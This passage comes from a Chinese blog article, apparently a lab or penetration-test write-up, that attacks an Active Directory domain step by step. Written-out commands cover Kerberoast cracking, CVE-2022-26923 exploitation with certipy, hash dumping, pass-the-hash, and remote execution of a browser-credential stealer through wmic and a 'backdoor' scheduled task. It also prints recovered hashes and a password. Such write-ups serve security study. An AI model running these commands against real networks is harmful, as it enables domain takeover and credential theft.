26px;">$1FDBE06854D3B1A3423D17BA39878FEB2826F1DA2AC4859BCCD7CE880446B0E3D3D55E649EF814E47CEFEFC03EEB674D22FD65F0FCA4C05B973B665C0BA4199733450A2FF2CDF33755453DAC48D05945A9476F81221011F4D027CFE0466489FE635AD4F5852249EE3C5741C8C5DE8DAC0BB5F934D6F5331EBCAE691EEAF1C793F510D11CE5145806A154FA62C50A4E931A84C10C191C792D316C4E049603C5749E59CE5E84FC0E59ADF60D32A3012E6899E34B19F2164C9E627D4683AABC07034B6BD93716A0C973D4CFC8B22E490EDBB78D6A690E6839767DB270B64BC3B795FF2B1F7E91D99364C6A41A849A3CA6EBCDA0A70ED22133E45808703BADE5C7553396FE594C1BE9BA7BB252B7B024FE6CC6EBDA4EEE67507B64FF4C6B73BE9E04BBA368D9D335C7BD0A66AB17FB7C287E6E29DE70493B72107DFACC13286EB96A0A1C3E99ED8982CB8B4B83659178602BFAE541162286CECE0E10969D88497475B8C168936305341C9CEE26071C4F42857E985ADD43E0356DE248D584051D1F0396B5880D706ABD32F79DDBC25E03EB9A309C82C6B5C42D55B660EBBC4F22AD41C1E4E2B5361BE14DE84A3BFB9829DCC9E47AC9C1FBD9729EC1289E54BB40E84347BA001F84959F045F3494F6282C2D8BD7C7C3DCCCE584A51E74CBF7108442E3869750614488F0A855005809F4C51E3941CB3792FF446321CCCE9B7D16295A46BDA54F5C11749C5D7A6CF801A97D36BBEE1AC2AABA7C1FC115FCDC5944452F2C5D4CD83806487F2728D365BB7AAC886E2CC62FE78845B1BA2BFF308500339274FD96E61A50FD309C6B2DE7A741381BEF73FA985FE5542F337E26B45B4B89CE7254D1CDCDA37FB62723B86AB41C7D0E68CCE79A3DECDDFE9766CC08CF0A16C55EBBEA1A87E4C51887A5647B5BDF8EF0CD2255C29ED508E6BC38086B746516EC6E02BC457DA449E3B79EBF7F12DC66AF0F9BEA27BEA6CD2FFF173F26E4C3EEB27CCC0AA5483AF8519B977582D2A5403E3E06B95ED97D2E0108E0B4A0BED4FEEC2D42CE016EA3E81A38B2E01CA1CF617FE4BD375C36BFF8A7514934E07B90125D8A8A25066ED0BE045FAFCD4009C1476748B908DCB319A7436E6430FB9D27F5C3D70105045B8E9950A85C3CD4BE2C8C3E66573E04BBF98EEEF545C1D34A8F00384AE89485F17F</span><br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查看ldap信息并使用hashcat等工具破解：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast<br/>hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt<br/>./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">得到roast用户的密码：SysAdmin#2023</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">结合域信息发现存在一台adcs服务器且roast为一普通域账户，可以尝试使用CVE-2022-26923提权</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">先测试一下是否能正常使用，申请roast用户的证书：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">certipy req -u <span style="color: #a6e22e;line-height: 26px;">&#34;roast&#34;</span> -p <span style="color: #a6e22e;line-height: 26px;">&#34;Sysadmin#2023&#34;</span> -ca TEST-ADCS-CA -template User -target 192.168.112.230 -dc-ip 192.168.112.100 -debug<br/></code></pre></section><p><br/></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.32222222222222224" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8948060&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0hqiahXODQEaHQbsegocaIWUBWgvJxw6RHPAwBqPwtAQ3ic1GZP8AfDwA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过证书获取hash：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">certipy auth -pfx roast.pfx -dc-ip 192.168.112.100<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><br/></p></section><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.18055555555555555" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b68b8db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0oBQtOkZFKzibSn3VI1MdEc2TPSq6qCAwEEInVdoPlX8WE6f9TiaDew7g%2F640%3Fwx_fmt%3Dpng"/></figure><section data-v-b4e935ba=""><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><br/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">可以，进行正式漏洞利用。创建一个机器账户并将dnsHostName属性改为dc的机器名：</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">certipy account create -dc-ip 192.168.112.100 -u <span style="color: #a6e22e;line-height: 26px;">&#34;roast&#34;</span> -p <span style="color: #a6e22e;line-height: 26px;">&#34;Sysadmin#2023&#34;</span> -user pwntest -dns dc01.test.local -debug<br/></code></pre></section><section data-v-b4e935ba=""><br/><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4759259259259259" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0002c697&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0I6VgeKfwRtDTCo6SodLMs1Ij5ZXwsTicxcLOiaIAs6AmiaW4FxxJTxg8w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过新建的机器账户申请dc01的证书：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">certipy req -u <span style="color: #a6e22e;line-height: 26px;">&#34;pwntest$&#34;</span> -p <span style="color: #a6e22e;line-height: 26px;">&#34;nVi3l2cMiXECZ0pP&#34;</span> -ca TEST-ADCS-CA -template Machine -target 192.168.112.230 -dc-ip 192.168.112.100 -debug<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用dc01的证书获取hash：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">certipy auth -pfx dc01.pfx -dc-ip 192.168.112.100<br/></code></pre></section><br/><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.29814814814814816" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=22f77d3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic01sZo0MDgALg1sWJve47rSuUI4IIKTnepVYd5Dfud9vIWcAN516ecMg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用secretdump导出域控的机器hash：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">aad3b435b51404eeaad3b435b51404ee:d9c6c7a01ffc61f41d88ff7268b084d5<br/></code></pre></section><span style="font-size: 14px;">使用域控的机器hash获得所有的hash:</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.35185185185185186" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5669a21f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0fQ2yCtgvcpVI0dvu41U3wtYUf8oicgufvxFz27KgIjiakVfGgyvMHBeg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">dashe-PC</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">域管的hash为 cd46c85aaf6e13ef4ff88f106bd296ca，密码强度比较高，无法破解。</p><span style="font-size: 14px;">pth后smb访问，发现没有装防护软件</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.864158829676071" title="null" data-type="png" data-w="957" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c089d38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0TZia0wd2E7fmWQjoEN6niaRDqHWHF5DOENXntWoZIoic7QqjI3zjtqPmA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">直接使用<a href="https://github.com/moonD4rk/HackBrowserData工具，抓取浏览器信息：" target="_blank">https://github.com/moonD4rk/HackBrowserData工具，抓取浏览器信息：</a></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">copy hack-browser-data-windows-64bit.exe \\192.168.112.50\c$\windows\temp<br/>wmic /node:192.168.112.50 process call create <span style="color: #a6e22e;line-height: 26px;">&#34;cmd /c c:\windows\temp\hack-browser-data-windows-64bit.exe &gt; c:\windows\temp\1.txt 2&gt;&amp;1&#34;</span><br/></code></pre></section><span style="font-size: 14px;">读取命令执行结果：</span><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.2684268426842684" title="null" data-type="png" data-w="909" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c18fc51e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0KgH8ZkYqRyuGKjaEibkrTQbG6AZEYaCicjhyyaGSicibLAoO6GeTMCylqw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">没找到chrome，应该是获取masterkey是用内存手段获取masterkey的，只能获取到当前用户，需要我们用dashe的身份执行。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里不能使用wmic，因为wmic默认是system权限，可以使用schtasks：</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用dashe的hash重新pth：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">sekurlsa::pth /domain:test.local /dc:dc01.test.local /user:dashe /ntlm:d67df352cdec7779b5b58953b3f2e2ee<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">执行</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">schtasks /create /s 192.168.112.50 /tn backdoor /sc minute /mo 1  /tr c:\windows\temp\hack-browser-data-windows-64bit.exe /ru <span style="color: #a6e22e;line-height: 26px;">&#34;test.local\dashe&#34;</span> /f<br/>schtasks /run /s 192.168.112.50 /i /tn <span style="color: #a6e22e;line-height: 26px;">test</span><br/>schtasks /delete /s 192.168.112.50 /tn <span style="color: #a6e22e;line-height: 26px;">&#34;backdoor&#34;</span> /f<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">奇怪的报错:</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.15210688591983557" title="null" data-type="png" data-w="973" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7976d44d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0pZC7dtFdd7P5vqRj2wUSsF8YMXu9ibick2fy7MHIpAFJp0GWicSibxt9Rw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查了一圈不知道怎么解决，现在面临的问题是没法以dashe用户身份执行命令，上传mimikatz一把梭也不行。只能一步一步来到本地解密。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(250, 81, 81, 1);color:#3f3f3f;">通过domainkey获取masterkey</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, 